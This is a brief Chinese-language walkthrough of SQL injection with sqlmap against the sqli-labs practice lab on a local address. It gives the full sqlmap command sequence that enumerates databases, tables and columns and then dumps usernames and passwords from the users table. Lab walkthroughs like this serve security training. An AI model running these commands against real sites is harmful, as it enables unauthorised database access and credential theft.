sqlmap实战注入步骤——超详细

sqlmap实战注入步骤

测试环境：
系统—>winxp
目标—>sqli—labs
IP—>192.168.1.106

输入？id=1，内容出现变化，存在sql注入

打开sqlmap，输入sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 --dbs查看所有数据库

找到很多数据库，查找security数据库中的数据表，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -tables

看到熟悉的users表了，我们进一步查看表中有哪些列，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users --columns

表中有我们想要的数据，进一步查看数据，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users -C id,password,username --dump

NICE！